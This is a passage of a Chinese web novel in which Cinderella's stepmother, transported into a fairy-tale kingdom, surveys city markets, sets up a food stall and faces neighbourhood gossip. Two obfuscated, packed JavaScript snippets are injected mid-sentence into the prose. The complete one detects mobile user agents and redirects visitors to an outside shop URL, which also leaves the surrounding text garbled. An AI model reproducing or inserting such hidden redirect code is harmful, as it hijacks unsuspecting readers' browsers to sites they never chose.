尤兰达对后者持保留意见。 胡椒味的空气……还能呼吸吗? 神秘的贵族区或许豪奢,但她们所处平民区也很精彩。 尤兰达一路走来,恍惚回到了节假日的都市步行街,人山人海,处处生机勃勃。 堪比双向八车道的主路两侧,高大的橡树成了天然的区隔,划分出一块块阴凉的摊位。 树干系着彩色的篷布,风吹过,篷布像海浪一样上下翻飞。篷布之下,小贩支起木板,排列待售的货物。 什么贝壳街、海螺巷,与凤凰大道一比,冷清又简陋,不及这里十分之一的鲜活与气派。 饭馆生意做到凤凰大道来,还愁赚不到钱? 可惜,城中鲜少见到现代意义的固定娱乐休闲场所,只有酒馆和大广场勉强沾点边。 难不成这类场所开进贵族区了? 尤兰达走走停停,看什么都稀奇,看什么都充满商机,眼珠子和脑筋一起飞转。 她也不怕露馅,因为连西芙拉和菲奥娜这两个土著,同样对皇城的一切充满了陌生与好奇。 过去她们住在隔壁伯爵领地,活动范围仅限于镇子周边。 逢年过节,男主人才会带上管家仆从来皇城采买货物、与各路商队交际。 原身偶尔借口采买生活用品跟来过几次,再偷摸去收租,对皇城的记忆仅停留在几家熟悉的铺面上。 起初,女孩们小心翼翼拽着母亲的衣角,没过多久便敢挤进人群中乱窜,时不时发出低低的惊叹。 母女三人随着人潮,渐渐停在商队云集的珍珠街广场。 四通八达的道路两旁挤满各种类型的摊子: 南方海岸的商人摊开晒干的海藻与串成项链的贝壳;北境来的毛皮贩子将雪狐、灰狼的皮毛高高挂起;东方来的骆驼商队展示华光溢彩的柔软织物,挑动富商们的购买欲。 尤兰达一边走,一边闷不吭声地收集信息,加快对黑森王国商业环境的了解。 一匹产自东方的丝绸,足以换一座城郊的小农庄;三粒胡椒的价格比铁匠石匠半年的工钱高一大截,“价比黄金”在这里是陈述事实。 又往前走几步,摊子上空无一物,裹着头巾的异域商人脚踩货箱,连说带比划,倨傲表示看货需要验资,并且只接受金币交易。 穿了粗麻衣的平民想凑近问问到底卖的什么货,商队保镖连忙拔刀拦人,怒斥着驱赶他们。 这么一闹腾,反勾起了尤兰达三人的好奇心,她们略等了片刻,依稀从过往富商嘴里听到答案—— 原来中东商人卖白瓷和茶叶。 难怪两旁看热闹的人群里,她瞧见好几个行迹鬼祟、目光贪婪地人,直勾勾盯着商队。 这就是皇城,财富与欲望赤裸裸陈列的地方、机遇与风险暗中流动的旋涡。 尤兰达不禁走神。 空间里一餐柜的白瓷餐具、玻璃茶杯酒杯,几大包茉莉绿茶和藏红花,值不少金币吧? 想归想,她可不敢轻易拿出来,好歹等她站稳了脚跟,有了门路。 见识过珍珠街的“集四海之物”,母女三人转向生活气息浓厚的菜市街。 这里,鲜少见到风尘仆仆的异域商队,多是老皇城人。小摊上鲜少找到昂贵商品,多是便宜常见的生活用品。 从功能上说,菜市街像海螺巷集市的plus版,类似大型农贸市场,生活中所需的绝大多数物资都能在此找到。 尤兰达记下街道名称,前往另一处市集:修道院石桥街。 修道院市集颇有名气,来往行人可能来自皇城四面八方,乃至城外村镇。 按照当下的命名习惯来推断,既然以“修道院”为名,附近必然建有修道院、教堂或钟楼之类的公共设施。 事实也确实如此,三人拐进街道,一抬眼便见连绵高耸的灰石修道院,占地面积颇广,尖顶上的铁十字泛出沉静的光。 临近斋戒日,修道院加入摆摊行列,大门口支起木板和篷布,门前的拥挤队伍跨越半条街不止。 尤兰达艰难挤到队伍尽头,看清售卖的货物,不由惊讶。 修道院经营的摊子,货品出乎意料的丰富。 有卖大米、小麦、藏红花、发酵面团、奶酪、干果和酸奶。水果有樱桃、苹果、蔓越莓、蓝莓。 除以上常规食材连续三天不间断上货,不常规的鳕鱼、腌鱼、鲈鱼、鳗鱼和鲤鱼,仅周四周五下午低价出售。 这一周买不到,只能等下一周的三四五了,对大多数平民来说,机会难得。 尤兰达眼热不已,要不是队伍太长,天黑都不一定排到她们,她早加入了。 她赶紧扒拉原身脑海中零碎的常识类记忆。 原来,修道院不止用于修士修行祷告,同时担负起农作物生产中心、文化中心、科研中心、技术中心、医疗机构、慈善机构等职能。 摊子上出现的所有食材,从谷物、蔬菜到熏肉、奶酪,无不是自产自销。 最令尤兰达惊喜的一点,修道院允许以物易物。 她亲眼见一妇人捧上新做的馅饼,换走一匹结实粗布。 还有一个矮人,声称自己有山神赠送的食谱,知道如何烹饪出美味的菌菇汤,表示希望用食谱换取未来长期低价采购烟熏肉的名额。 再看摊子后面的修士,闻言露出惊喜神色,当即邀请矮人进修道院展示技术。 尤兰达一惊,这也行? 真实的中世纪修道院什么样,她无从知晓,但童话世界的修道院着实刷新了她的认知。 她回头想招呼两个女儿稍等,却见她们一头扎进帽子店,对着满架子蕾丝蝴蝶结挑花了眼。 尤兰达摇摇头,整了整衣裙,表现出足够的恭敬,上前与修士搭话。 “愿主的平安与您同在。”她有意用了句拉丁语,随即切换成本地语,语气谦和:“尊敬的修士,如果我掌握一种方法,能将豆子烹煮出肉类的口感,甚至比肉更鲜美,是否能获得一点上帝的恩典?” “比如,以优惠的价格采购一些鳕鱼、淡水鱼等其他合宜的物资。” “愿主保佑你,善良的夫人,”他颔首回礼,语气温和了许多,“假如你真有这样奇妙的食谱,修道院很乐意为您提供相应的帮助。” 那几句刻意炫出来的拉丁文果然起了作用,修士认定她是有知识文化的高素质人,原本平淡的神色微微一凝,露出了比先前对待矮人时更真切几分的热情。 尤兰达心下稍安,面上适时流露出感激与恭敬: “感谢上帝,感谢修士的善意。我和女儿们刚迁居皇城,诸事尚且陌生。待我将食谱仔细整理妥当,定会再来拜访。” 修士微微一笑,在胸前划了个十字:“愿主指引您的道路。我们随时恭候。” 简短交谈后,尤兰达行礼告辞,转身时,她长舒一口气。 简直像在和莎士比亚对话,字字句句再三斟酌,唯恐冒犯。 幸好,修道院对食谱交易持开放态度,往后说不定真能吃上修道院出产的、价格实惠的豆腐与豆浆。 黄豆应该是找不到的,市集上没见过,原主的记忆里也没这东西。不过有鹰嘴豆,不仅有,还很稀松平常,价格和小麦差不多,完美代替黄豆。 豆腐制作工艺复杂,体力消耗大,有句俗话叫“打铁、撑船、磨豆腐,人生三大苦”,足以证明在生产力低下的时代,磨豆腐有多累。 尤兰达不打算没苦硬吃,交给人力充裕的修道院去钻研,自己等着吃现成的岂不更好?还能低价采购鳕鱼。 鳕鱼可比培根、肉肠便宜,炸成鳕鱼排,三明治和汉堡包就都能提上日程,好处多多。 尤兰达越想越快活,转身去帽子店寻女儿们。 一进门,两个女孩一左一右缠住她,闹着要买蝴蝶结配裙子。 她没说什么,只默默扒开随身携带的羊皮小包,展露母女三人全部的家当。 西芙拉、菲奥娜傻眼:“我们家……这么穷了吗?” 对自家经济状况有了清晰而残酷的认知后,两人万分不舍地放下蝴蝶结。 尤兰达好奇,问道:“昨天收拾行李的时候,你们没有带上零花钱?” 拉斯穆森每周会给每个女儿10枚银币作为零花,对比许多打工人,相当阔绰。 菲奥娜:“妈妈,你忘了吗?我们的零花钱买了礼服裙子、做了新鞋子。” 尤兰达直叹气。 这一家子,没一个有储蓄意识。 大致摸清修道院石桥街的状况后,母女三人动身前往今日的最后一个目的地:工匠街。 选择工匠街的理由很朴素,铁匠、石匠、银匠、铜匠等手工业打工人薪资高,舍得花钱。 资深匠人的薪资水平大概处于高级白领阶段,周薪可达19枚银币,除贵族家的女仆、管家外公认的高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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腥味有没有压下去不好说,反正混杂了多种香草、未经调和的野蛮气味,冲击力不比原始的腥味逊色。 这算哪门子的烹饪,分明是对食材的霸凌,对食客的无差别攻击。 幸好黑森王国沿用了罗马的骟猪技艺,猪肉不骚,否则这日子太没盼头了。 尤兰达擦了擦嘴角,压下不断翻涌的反胃感,扭头环顾四周。 街上除她以外,土著们像失去味觉似的,大口大口咀嚼,无一人表现出不适。 尤兰达打了个寒颤,自愧不如,剩下的小吃全让给西芙拉和菲奥娜。 “好吃吗?” “好吃。”两个女孩腮帮鼓鼓。 “和薯条、玉米烙比呢?” 咀嚼骤然停止,女孩们眨了眨眼,手里的小馅饼\甜面团好像不香了。 尤兰达从她们的反应里得到了答案,信心暴增。 怎么说呢,大概是“全球厨师水平下降万倍,而我携带千年饮食智慧且厨艺不变”,无敌了。 工匠街从头走到尾,大小店面约有三、四百家,买小吃的顾客比其他几条街道加起来都多。 对比其他几条街巷,工匠街距离矮人巷最远,却最合适。 先不说手松的匠人们花钱买小吃的意愿有多强,单说前来工匠街购物的客人们,用得起铁锅、铜锅、金器、银器的群体,本身非富即贵,他们的钱比赚穷人的钱有赚头。 修道院石桥街摆摊其实也不错。 众所周知,整个王国不会有比修道院、教会更富裕的存在,并且他们无需向国王缴纳税金,因此,归他们管辖的街道摊位费价格比市场价略低。 分析完好处,再说说坏处。 愿意来修道院采买实惠物资的人群,大多家境拮据,或者生活节俭。别看人流量大,和主街比也不差什么,实际购买力差远了。 稍一对比,她立刻有了决断——以后就在工匠街摆摊! 尤兰达脚步一转,径直走向工匠街广场。 中心雕塑旁立着一根旗杆,下方摆着一张长桌,是承包工匠街的商人,所有在工匠街摆摊的小贩需向承包商缴纳摊位费。 如果货物多、占地多、需要搭建篷布,摊位费之外还有一个破土费。 尤兰达要做的食物无需太大面积,一辆小推车足以,是以只需缴纳摊位费,一天一缴,可提前预缴。 如果想钻空子当无证摊贩,就得小心工匠街的城管——巡摊员。 没抓到无所谓,抓到了当场收双倍费用,并拉去广场中心接受裁决。 向承包商确认斋期的摆摊时间和注意事项,缴纳第一天的20铜币摊位费后,尤兰达成功拿下一块铅牌。 有了营业执照,她的小吃摊正式完成筹备,只等第二天正式开摊。 12. 第 12 章 眼看生活即将走上正轨,尤兰达内心前所未有的安定。 回家的路上,她奢侈了一把,找到有固定摊位的蚝郎,预订40斤生蚝肉,赶在星期天中午前送去矮人巷。 没别的,当着两个小老外的面熬出蚝油,以后就能顺理成章的拥有“用不完”的蚝油了。 进入贝壳街,尤兰达顺路拐去海螺巷,找到“老实人酒坊”,提前订购酒水。 “淡啤酒150铜币一桶,浓啤酒210铜币一桶,蜂蜜酒贵点,300铜币。 葡萄酒是我们酒坊最贵的,得支付5枚银币,并且最少订3桶。夫人需要哪一种?” 看店的杂役打量母女三人的穿着后,笑容灿烂地迎上来。 尤兰达目光掠过一排排橡木桶,心里打起小算盘。 黑森王国的各行各业都成立了对应的行会。 上到代政府收税,中到规定岗位薪资,下到掌控货品定价权等,存在感极高。 啤酒被归类进大宗日用消费品,定价权自然而然落入啤酒行会手里。 行会规定,城中但凡售卖啤酒,1杯600ml的淡啤酒售价不超过1铜币,1杯600ml浓啤酒售价不超过2铜币。 自从规定施行,商家默契选择最高上限为定价。 实打实按照行会规定来,150铜币进一桶52加仑的淡啤酒,全部售出,到手约有420铜币……这毛利,绝对有的赚! 要知道当下时代,平民获取干净水源难度大,淡啤酒干净卫生又美味,理所当然成了大家的首选。 渴了喝一杯,热了喝一杯,出游玩耍打满一皮囊带着路上喝,有事没事来一杯。 男女老少都喝它,也都喝得起。 400杯,随便哪家酒馆,一天之内可以卖的一滴不剩。 饭馆则稍逊些,需要两天才能完全消化。 尤兰达估算了下需求量,痛快下单:“淡啤酒15桶,浓啤酒1桶,米迦勒节(9月29日)之前送到矮人巷北1店。” 杂役恭维道:“哦~英明又机智的夫人,您可真是选对了时间。 米迦勒节后就入冬了,到时候各家酒馆的订单排满,您再晚几天来,每桶至少多花5个铜币。” 进入冬季,不止酒坊,陶瓦坊、木柴坊、煤炭坊等,都会随季节更替而涨价。 尤兰达正因清楚这一点,早早定下陶瓦,小吃摊有着落后,才又拼着掏空口袋的风险,提前订啤酒。 如杂役所言,一到冬季,酒馆生意爆火,啤酒需求量激增。 尤其中间有个米迦勒节,当地会举办隆重的纪念活动,平民们杀鸡宰鹅欢度节日,啤酒更少不了。 为了抓住赚钱机会,各家酒馆饭馆卯足劲囤啤酒,啤酒行会也想趁机大赚一笔,自然而然跟着涨价。 涨价不可怕,怕到时候供不应求。 等饭馆开业再订酒水?喝西北风去吧。 尤兰达保持淡淡的傲慢姿态,问道:“我是第一次采购你家的啤酒,之前只喝过隔壁矮人巷老杰克家的。 说实话,他家一成半的预付货款太不划算了,不知道你们酒坊什么规矩?” 多亏原身收租时撞见了前任租户提货订货的画面,让她知道附近哪家酒坊物美价廉,哪家交货拖拉。 这不,正好派上用场。 杂役一听客户从老竞争对手家跑来,浑身劲劲的,“一成,夫人,我们酒坊只收一成货款。 夫人第一次光顾我们酒坊,100铜币的橡木桶押金可以免去,我们额外赠送一次免费运送。” 尤兰达数出246枚铜币交出去,“感谢您的大方,我会继续光顾老实人酒坊。” 杂役大喜过望,收了铜币,简单刻下一块木牌交出去。 尤兰达走出酒坊,捏了捏轻飘的羊皮小包。 里面只有十几个铜币,加上藏在家里抽屉备用的,总数200铜币出头。 “妈妈,”西芙拉迟疑开口,语气难以置信,“你租下摊位、订了啤酒……难道打算摆摊卖啤酒吗?” 这一天逛下来,除了满眼新鲜,两个孩子印象最深的,就是母亲租摊位、订啤酒的举动。她们理所当然地认为妈妈要去摆摊卖酒。 西芙拉心情复杂,既震惊她们家的贫穷,也痛惜妈妈要做不体面的活计糊口。 以及,她发自内心的认为……这有点丢脸。 若有朋友问起,她该如何说起自家的营生?她们肯定会看不起她的。 哦,她们搬来了皇城。 她们没有朋友了。 “妈妈,这太不体面了。” 菲奥娜慢一步追上来,恰好听到姐姐的话。仿佛讨论什么见不得人的事,她左右瞄一眼,见无人注意,低声表达自己的反对意见。 尤兰达停下脚步,反思片刻。 离开尼尔森家后,出于躲避、省事的心理,一直都是她自顾自的拿主意做打算,从来没有和她们认真沟通过。 两个女孩也习惯性听从母亲吩咐,乐于依靠她,根本不清楚母女三人要面对的挑战。 尤兰达认识到问题所在,决定把话说开。 “小西,小菲,”她平静的向女儿们陈述事实:“我们别无选择。如果不在夏天赚到足够多的钱,冬天会杀死我们。” 西芙拉和菲奥娜齐齐怔住,离家时短暂涌现的恐慌又一次漫上心头。 “小西,你有什么赚钱的法子吗?我是说每周10银币以上的工作,比如纺纱、织布。不过据我所知,纺纱织布一周可赚不到这么多。或许你擅长其他赚钱的技巧?” 西芙拉张了张唇,想说自己才不要去纺纱,随即喉头一哽。 她不会纺纱,不会织布,更不会其他的赚钱技巧。 尤兰达不等她回答,侧身转向菲奥娜。 “小菲,你愿意去当女仆吗?周薪虽不及你的零花,但足够我们三人吃上饱饭、买柴火取暖。 当然,如果你想去裁缝铺当学徒,学习制作漂亮衣裳,妈妈也支持你,只是学徒费低廉,恐怕负担不起我们的生活所需。” 菲欧娜差点跳脚:“妈妈!我怎么能去当女仆?我是喜欢漂亮裙子,可我不想当裁缝学徒。” 尤兰达毫不意外她们的反应,“我们迫切的需要钱,而你们想不到更好的法子。现在,你们还有心思考虑体面吗?” 面对冰冷而现实的生存问题,两人哑口无言。 西芙拉嗫嚅半晌,硬着头皮挤出一句干涩话音:“我们……不能去求求爸爸吗?” “事实上,我们会站在这条街、讨论如何赚钱生存下去,多亏了他的‘仁慈’。 我想你们应该还记得,他亲口说过不允许我们带走一铜币。” 她顿了顿,声音更沉了些:“我们身无分文,而你们的爸爸,明知道我们无处可去。” “他不在乎我们会不会冻死、饿死,无所谓我们如何活下去。” 女孩们如遭雷击,眼底迅速涌起水雾,面色惨白。 “傻孩子,别对任何人抱有期望。能救我们的,只有我们自己。” 尤兰达不忍心见漂亮女孩露出绝望神情,轻拍她们的后背。 “走吧,我们商量一下小吃摊卖什么。 我以为薯条和玉米烙不错,现在看好像份量有点小了,做成薯饼怎么样?” 她一手揽一个,连拖带拽的往矮人巷方向走。 “相信妈妈,没什么比自己赚到钱养活自己更体面的事了。 我保证,明天开始,你们会享受赚钱的快乐。” 两个女孩依旧恹恹,如丧考妣。 妈妈又在骗她们,花钱才是快乐的,赚钱怎么会快乐呢。 落日时分 浑圆大蛋黄悬在巷子尽头的天空,橘红余晖迎面洒,为石板路镀上刺眼的金。 母女三人沐光而行,像三团灼人的火。 走近矮人巷,远远地,她们就瞧见巷子口那棵老橡树下聚了不少人。 她们或挎着篮,或牵着驴,或抱着陶罐陶盆,说话声嗡嗡嗡,分外热闹。 尤兰达心里一动,想听点邻里闲话,带着女儿们往人堆边凑。 刚靠近几步,她倏地停下,耳尖动了动。 “……听说了吗?北1店下个月开业。” “真的?空了大半年总算有人租了。” “可不是租——”说话的中年妇人话音兴奋,环顾一圈,卖起关子,“老板你们肯定猜不到是谁!” 西芙拉和菲奥娜显然也听见了,不约而同放轻呼吸,目光悄悄往人堆里瞟。 “你们不知道吧,开饭馆的老板,是北1点的房主!” “嘶——我记起来了,尤什么达?她太傲慢了,上次来收租,净显摆她的胡椒。 我可闻不惯胡椒味,臭臭的。” “尤兰达!原来是她,不知道的以为哪家伯爵夫人呢。 说实话,我不喜欢她的鼻孔,可她总是用鼻孔瞪我。” “她要开饭馆?她的丈夫不是富商吗?听说住在隔壁伯爵领,没少炫耀她的女儿们。” “……炫耀女儿要当王妃的费尔南多?我可太记得她了。”有人恍然大悟,抱着胳膊打了个激灵:“天呐,以后岂不是要经常见面?” 带起话题的胖夫人得意挑起眉梢:“我的大表妹在伯爵宅邸当女仆,她今天一大早过来告诉我一件事。因为她知道我有多讨厌费尔南多,迫不及待要告诉我好消息。” 围拢来的几人一听有瓜,抓耳挠腮追问:“什么事什么事?格莱特你快说啊,我着急回家做晚饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200988|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 胖夫人格莱特昂起头颅,“费尔南多和她的女儿们被富商丈夫赶出家门了!” “嘶——!”四下一片吃惊的吸气声。 趾高气昂的富商夫人为自己的恶毒遭到惩罚,失去财富和地位,沦为贫穷流浪汉,很可能活不过今年的冬天。 放在平静祥却过于无趣的平民区,可是了不得的大事件,消息一传出,彻底点燃城中居民极大的吃瓜热情,七嘴八舌交流。 “你们知道新王妃吗?她就是费尔南多的女儿,不过是富商和第一位夫人的孩子。 平民区传遍了,费尔南多从小欺负辛德瑞拉,她的富商丈夫终于不肯忍耐,婚宴当天,在皇宫门口当着许多贵族、富商的面,驱赶了她们。” “哦~很抱歉,但我很高兴听到这个消息。” “上帝啊,新王妃太可怜了。” “所以她们回来开饭馆?多了这样的邻居,户长一定很头疼。” “老实说,她们能做出可以吃的食物吗?” “瞧瞧她们养尊处优的样子,我发誓,绝对会吃死人。” “亲爱的,你说的对。我们可怜的户长、可怜的街长,他们会有处理不完的麻烦事了。” “她们会不会分不清橡木柴和松木柴的区别?可别做了亏本生意,哈哈哈哈。” “亏本也是上帝给她们的惩罚,要我说,她们不该这么轻松的离开。看,还有一间铺子。” “相信我吧,格莱特,即使她们有一座城堡,也迟早花得一干二净。” “是啊,她们可不像我们。格莱特擅长酿酒,苏珊织布又快又好……她们会做什么呢?” “反正我是不会光顾北1店的饭馆,她该为自己犯的错忏悔。” “我也不会去的,她们太恶毒了,怎么能欺负新王妃。” “你们都不去?那我也不去。” “……” 尤兰达:…… 尤兰达足足沉默了几分钟。 这瓜吃的,还吃到自己身上了。 西芙拉、菲奥娜远不如老母亲淡定,被从前瞧不起的平民当面肆意嘲弄,两人怒发冲冠。 让她们背后说妈妈坏话,必须教训教训她们! 尤兰达稍不注意,两人提起裙摆冲上去,蛮牛一样根本拉不住。 这俩小孩,有事是真上啊。 尤兰达花了一秒钟感慨,赶紧叫住她们,强势命令一声“回来”。 三人一番拉扯争执,树下的妇人们不得不分去一部分注意力。 这一瞧,大家都愣住了,神情一片空白。 显然,她们认出了尤兰达。 冷不防撞见她们议论半天的傲慢富商夫人,妇人们恨不得跳进小溪里。 太尴尬了。 下一秒,她们默契地转身转头,看天看地,若无其事聊起晚上吃什么。 西芙拉和菲奥娜气疯了,蓝眼珠死死瞪向她们,恶狠狠告状:“妈妈,你看她们……” 尤兰达眼神示意她们安静,理了理裙摆,优雅路过,停步。 “你们在说我吗?我想我有必要解释一下,我能分清橡木和松木,做饭手艺还不错。” 妇人们雕塑一样呆立当场,脸颊爆红。 双方都察觉到,矮人巷的空气凝滞了不止一瞬。 什么人啊,这时候不应该装作没听到,然后乖乖离开吗? 妇人们不敢吱声,更不敢直视尤兰达,不约而同遮住脸,作鸟兽散。 人群消失,显出橡木树下的瘦老头,和墙根边堆放的几件破陶器。 一旁,红帽子小女娃撅起屁股,歪着肉嘟嘟的苹果脸,认真观看老头补陶。 “夫人,要补陶器吗?2铜币一个,我动作很快的。”补陶匠手上动作不停,笑眯眯招揽生意。 尤兰达摆手拒绝,才要离开,背后传来一声不太温柔的呼喊,一阵狂风从身边刮过。 “天呐,小红帽你怎么在这里?快跟妈妈回家吃饭。”胖墩墩的夫人呼哧呼哧跑上来,说着要牵小女娃的手。 尤兰达瞧胖夫人面熟,定睛一看,是昨天在海螺巷有过一面之缘的海伦夫人。 “好了小红帽,回家吧,补陶有什么意思,小心弄脏你的帽子,奶奶可织不出一模一样的替换。” “不、我不走,我要玩泥巴。”红帽子女孩两脚蹬地,身体后仰,母女俩开始拔河比赛。 补陶匠哈哈笑,使劲搅弄泥浆,对小红帽炫耀,“有眼光的孩子,泥巴最好玩了。” 惹来海伦夫人一眼不善的斜睨。 小女孩哪受得了这诱惑,哇的一声:“泥巴、我要玩泥巴,哇!” 尤兰达久久望着红帽子小孩,神情微妙。 小红帽……她知道的那个小红帽? 13. 第 13 章 到家时天色不早,母女三人累得不想动弹,瘫坐半天,决定晚饭随便糊弄一下。 正好晚上要熬番茄酱为明天的出摊准备,尤兰达干脆做起沾片子。 一到萝卜上市的季节,她总绕不开拍一期沾面片为主题的视频。 地道的、创新的、颠覆的,各个地区做法又有不同,她全试了个遍,现下做起驾轻就熟。 俩孩子不挑嘴,也无需展示出去,尤兰达不搞那些五彩缤纷的漂亮饭,偷懒做基础款。 笃笃笃—— 菜刀挥出残影,像施了魔法,莴苣、土豆、胡萝卜眨眼化作均匀细丝。下锅焯水捞出,很快又变成碎末,动作行云流水。 西芙拉一刻不错过,眼睁睁看着两瓢小麦粉一点点加进去,再洒一点橄榄油,稍加搓揉,红黄绿相间的蔬菜碎便与面粉融合成一大团色彩斑斓的面团,像嵌了碎宝石的云絮,漂亮极了。 “妈妈,你做的饭真好看。”她捧着脸小声惊叹。 尤兰达笑,见两个女儿喜欢盯着她下厨,之后每道步骤,她都放慢动作,配上简短讲解。 说话间,锅里的水咕嘟冒泡,她揪起一小团面,轻轻一搓,扯成宽长条滑入锅中。 手里忙个不停,眼睛也没闲着,尤兰达紧盯旁边熬番茄酱的锅,提醒西芙拉认真搅动汁水 两口锅同步操作,番茄酱熬得殷红浓稠时,第二锅蔬菜沾片子也出锅了。 咻一下,菲奥娜拈起一片片子往嘴里塞:“好烫好烫。妈妈,这面团怎么没味道啊?” 尤兰达斜她一眼:“当然没味道,我还没做酱汁呢。” 西芙拉指着妹妹大声嘲笑。 眼看动嘴即将发展成动手,尤兰达赶紧分开两人,一个继续搅番茄酱,一个去井边洗番茄,安排的明明白。 待厨房只剩下柴火噼啪,尤兰达另起小锅,爆香蒜末、洋葱与干辣椒,舀来一大番茄酱、鹿肉酱同炒成深色浓酱。 酸甜咸辣,滋味层次分明,别说沾片子,沾骨头都能多啃几口。 果不其然,新酱汁刚一上桌,配合晾至温热的蔬菜沾片子,两女孩一吃一个不吱声。 尤兰达是习以为常,没什么可说的。西芙拉和菲奥娜被塑料姐妹夺过几次食,已经学会护□□髓。先埋头猛猛吃,好听话吃饱了再说。 晚饭过后,两人苦着脸包揽洗碗工作,尤兰达守着泥炉熬酱汁。 想装满一整罐,少说需要熬6、7升,可不轻松,尤其用的还是土灶。 尤兰达纠结片刻,终究没敢把东西带进空间换天然气。 空间的存在太过特殊,稍有不甚露出痕迹,就可能面临被打成“异端”的风险。 这个时代的异端是什么下场呢? 如果认罪态度好,轻则终身坐牢、家产半没、身败名裂,全家沦为奴隶。不是四选一,而是全都有。 如果死不悔改或被人抓到再犯,更完蛋,直接拉去修道院街的广场,当场火化。 回忆原身围观过的几场火刑,尤兰达获得空间金手指的激动心情终于沉下些许。 算了,老老实实用土灶吧。 对了,卧室的洗澡水也得老老实实用木桶送出来倒掉。 哪哪都是力气活,偷不了一点懒,尤兰达捶捶胳膊,认命搅动锅底。 月亮升上半空,小约翰清粪离开约莫一小时后,她抱起满满一罐番茄酱塞进橱柜暂放。 两个女孩洗碗磨磨唧唧,盆里还剩下大半碗碟,见到又来一堆脏盆脏罐子,两人一边表达自己的不满,一边飞快挑拣。 小餐具归自己,大餐具硬塞给姐姐\妹妹。不大的洗碗盆,姐俩愣是分出了三八线。 尤兰达额角直抽抽。 两人洗碗慢就算了,还耗灯油,用起草木灰一点不心疼。 哪是干活啊,简直糟心。 尤兰达眼不见为净,转身进了屋子。锁门、关窗、拉窗帘,她闪身回空间,舒舒服服泡热水澡。 勤洗澡也有概率被当成异端,以后只能在空间偷摸着洗了,倒也挺好,省的她一趟趟加水、倒水。 尤兰达浑身清爽地走出空间,上弦月躲进云层后若隐若现,院中依稀传来细碎的蛐蛐鸣叫。 才晚上九点不到,整座皇城已陷入沉睡,没有一点夜生活。 她轻手轻脚在桌前坐下,点燃蜡烛,翻出羊皮纸和鹅毛笔。 咬着鹅毛尖苦思数秒,顶格居中写下一行花体大字——豆腐制作全过程 …… “铛——铛——铛——” 次日清晨,初时祷的钟声响第三下,尤兰达睁开了眼。 8月18日,星期五,天气晴好 她穿来黑森王国的第三个白天,恰好是当地一周一次的斋戒日,也是她事业的新起点。 前世的私厨餐馆没能正式营业,成了她的遗憾,穿来童话世界,反倒囫囵着支起了小吃摊。 匆匆洗漱,尤兰达顺着梯子爬上柴棚顶。 她的出现惊动了角落里的喜鹊,尴尬收回戳煤球玩的爪子,扑棱棱飞走。 尤兰达撑着棚顶检查一圈,煤球要干不干,估摸明后天能用上。 查看完煤球,她收了梯子,从厨房拖来一大盆土豆清洗。 洗到一半时,西芙拉和菲欧拉先后揉着眼睛走出门,摇摇晃晃找厕所。 看到院中忙碌的老母亲,她们惊喜询问:“妈,今天的早午饭吃什么?” 尤兰达想了想手里的活,和紧巴巴的时间,“三明治。” 斋戒日不食荤,做全素三明治更省事。 她起身让开位置,西芙拉接替她洗土豆,菲奥娜蹲去灶边帮忙看火。 这一上午可不轻松,要熬蜂蜜芥末酱,要切土豆、煮土豆、捣土豆泥…… “笃、笃、笃——” “费尔南多夫人?” 尤兰达正盘算着,店门口传来连续敲门声。 拉开门,四个金棕须发、胡子拉碴、身形敦实的小矮人努力仰起头看她,他们肩上扛着成捆的干稻草与橡木板。 “早上好,费尔南多夫人,可以叫我红发苏珊,老格伦陶器为您效劳。” 顶着一头毛糙红发的女性小矮人扒开同伴,挤到最前面,一面整理歪斜的头巾,一面微笑同她打招呼。 尤兰达想起,斋戒日的上午,约了陶瓦坊的工匠们上门铺茅草和橡木板。 好忙碌的上午。 她尽量克制打量他们的目光,侧身让开道,领小矮人们上楼。 事实上,小矮人可不是真的矮,他们平均身高足有1米6多,和前世的她差不多。 因矮人身形娇小,力气巨大,行动敏捷的特质,城中许多建造、锻造的活计都由矮人承揽。 比如铁匠、石匠、深林猎人等行当,简直像是为矮人量身打造。 矮人的口碑无需质疑。 为了在人族主导的社会中安稳生活,他们极为珍惜每一个工作机会,偷工减料、敷衍了事的行为从不曾有过。 尤兰达放心地回到厨房。 土豆切成手指粗细的条状,下锅焯水后沥干水分,均匀裹上一层薄薄的小麦粉,便可倒入陶盆中备用。 初次出摊试水,尤兰达只备了一盆土豆条。 脆脆薯饼可以多做一盆,工匠们胃口大,分量少了反而没人愿意买。 然而薯饼做起来也更费工夫。 熟土豆捣成绵密的泥,多加小麦粉搅匀,铺平成厚片,撒上当地人喜爱的鼠尾草与欧芹碎,再切成长方小块,滑入油锅初炸定型。 炸好的薯饼捞出,在另一只陶盆里垒成堆。 煮土豆、捣土豆、炸土豆,母女三人形成一条流水线,尤兰达顺带盯住锅里的蜂蜜芥末酱。 整整一上午,厨房不断飘出诱人的香气,丝丝缕缕钻进别家院墙,勾得四周街坊邻居频频探头,四下打听。 “红发苏珊,你闻到了吗?” 三楼屋顶,撅着屁股铺稻草的小矮人忽然停住动作,鼻翼用力耸动,四下乱嗅。 红发苏珊吸溜一下口水,眼珠子滴溜溜转,寻找着什么。 “当然,当然,不知道从谁家飘来的,我的肚子咕咕叫了半天。” 另一小矮人指了指楼下院子,惊喜万分,“上帝啊,我早该想到的,是费尔南多夫人,她在做早午饭。” 其余几个矮人立刻放下手中活,手脚并用爬下房顶,扶住露台的墙垛,探出半边身子往下瞧。 院子里 尤兰达掀开杂物棚用来遮尘的厚稻草帘,从底下扒出一架半旧的小推车。 小推车两根辕木四个轮子,四周钉了木板围住,结实又耐用,家家户户必备,运送谷物、蔬菜等,正好可以拿来摆摊。 泥炉、陶锅、天平、木柴搬上车,土豆条、薯饼和两罐酱汁盖上麻布挡灰,放在车板中央,少量堆放了几件厨具。 